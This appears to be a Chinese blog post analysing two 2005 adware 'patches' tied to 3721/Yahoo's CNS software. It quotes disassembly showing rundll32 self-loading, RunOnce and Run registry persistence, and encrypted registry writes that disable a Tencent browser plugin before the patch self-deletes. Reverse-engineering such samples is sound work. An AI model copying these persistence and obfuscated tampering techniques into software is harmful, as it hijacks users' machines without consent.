<7>.11号patch
日期 06/17/05 12:22:42
该patch启动后会使用rundll32.exe加载自己
创建一个名为3721CNSINSTSHELL_INSTALLMUTEX_PATCH11的互斥对象
然后释放出一个cab文件,里面是压缩后的wmpns.dll,查了一下,是3721反间谍专家的一个附属 的dll,有恶意软件性质
并会将CNS的Setup程序写入runonce键值(重启后安装CNS网络实名)
将cnsAutoUpdate写入注册表Run键值(每次开机自动执行更新程序)
部分代码:
push offset s_Rundll32_exeS ; "Rundll32.exe %s,RundllEx"
;安装程序,使用rundll32调用
push 104h ; size_t
push ecx ; char *
call ebx ; _snprintf
lea edi, [esp+754h+pvData]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
lea edx, [esp+744h+pvData]
push ecx ; cbData
push edx ; pvData
push 1 ; dwType
push offset s_Setup ; "Setup"
push offset s_SoftwareMic_2 ; "SoftwareMicrosoftWindowsCurrentVersi"...
;写入runonce键值
push 80000002h ; hkey
call ds:SHSetValueA
mov esi, 1
<8>.16号patch
16号patch是个非常有意思的东西,它会把这个注册表键值设为"no"
HKCUSoftwareTencentTBHEnableTBH
用来打击腾讯的BHO
将腾讯的浏览器插件设为禁止后
该patch将自毁
为了防止别人发现它修改tencent的键值以带来不必要的麻烦,该PATCH中对注册表部分的读写是 加密了的
(呵呵,看了这个之后腾讯会不会去找YAHOO的麻烦呢?)
代码如下:
mov esi, offset s_A709ce5ce8561 ; "A709CE5CE8561FEDE4"
lea edi, [ebp+pszValue]
movsd
movsd
movsd
movsd
movsw
movsb
push 3Ch
xor eax, eax
pop ecx
lea edi, [ebp+var_F5]
rep stosd
stosb
push 0Ah
mov esi, offset s_B108c94af3523 ; "B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC"...
pop ecx
lea edi, [ebp+pszSubKey]
rep movsd
movsb
push 36h
xor eax, eax
pop ecx
lea edi, [ebp+var_1E3]
rep stosd
stosw
stosb
mov esi, 82h
lea eax, [ebp+pszValue]
push esi ; int
push eax ; char *
call sub_10001067
lea eax, [ebp+pszSubKey]
push esi ; int
push eax ; char *
call sub_10001067
mov esi, offset s_No ; "no"
lea edi, [ebp+pvData]
movsw
movsb
push 40h
xor eax, eax
pop ecx
lea edi, [ebp-411h]
rep stosd
stosb
lea eax, [ebp+pvData]
push eax ; char *
call strlen
add esp, 14h
push eax ; cbData
lea eax, [ebp+pvData]
push eax ; pvData
lea eax, [ebp+pszValue]
push 1 ; dwType
push eax ; pszValue
lea eax, [ebp+pszSubKey]
push eax ; pszSubKey
push 80000001h ; hkey
call ds:SHSetValueA
其中sub_10001067子程序就是将B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC与 A709CE5CE8561FEDE4进行解密,从而得到HKCUSoftwareTencentTBHEnableTBH这个注册表路 径
然后对其写入键值:no
起到禁止腾讯bho的作用
更有意思的是 我发现了一篇文章:《!腾讯流氓覆灭记!》其中所说的方法和这个patch完全一致,呵呵 不知两者有何关联
网友评论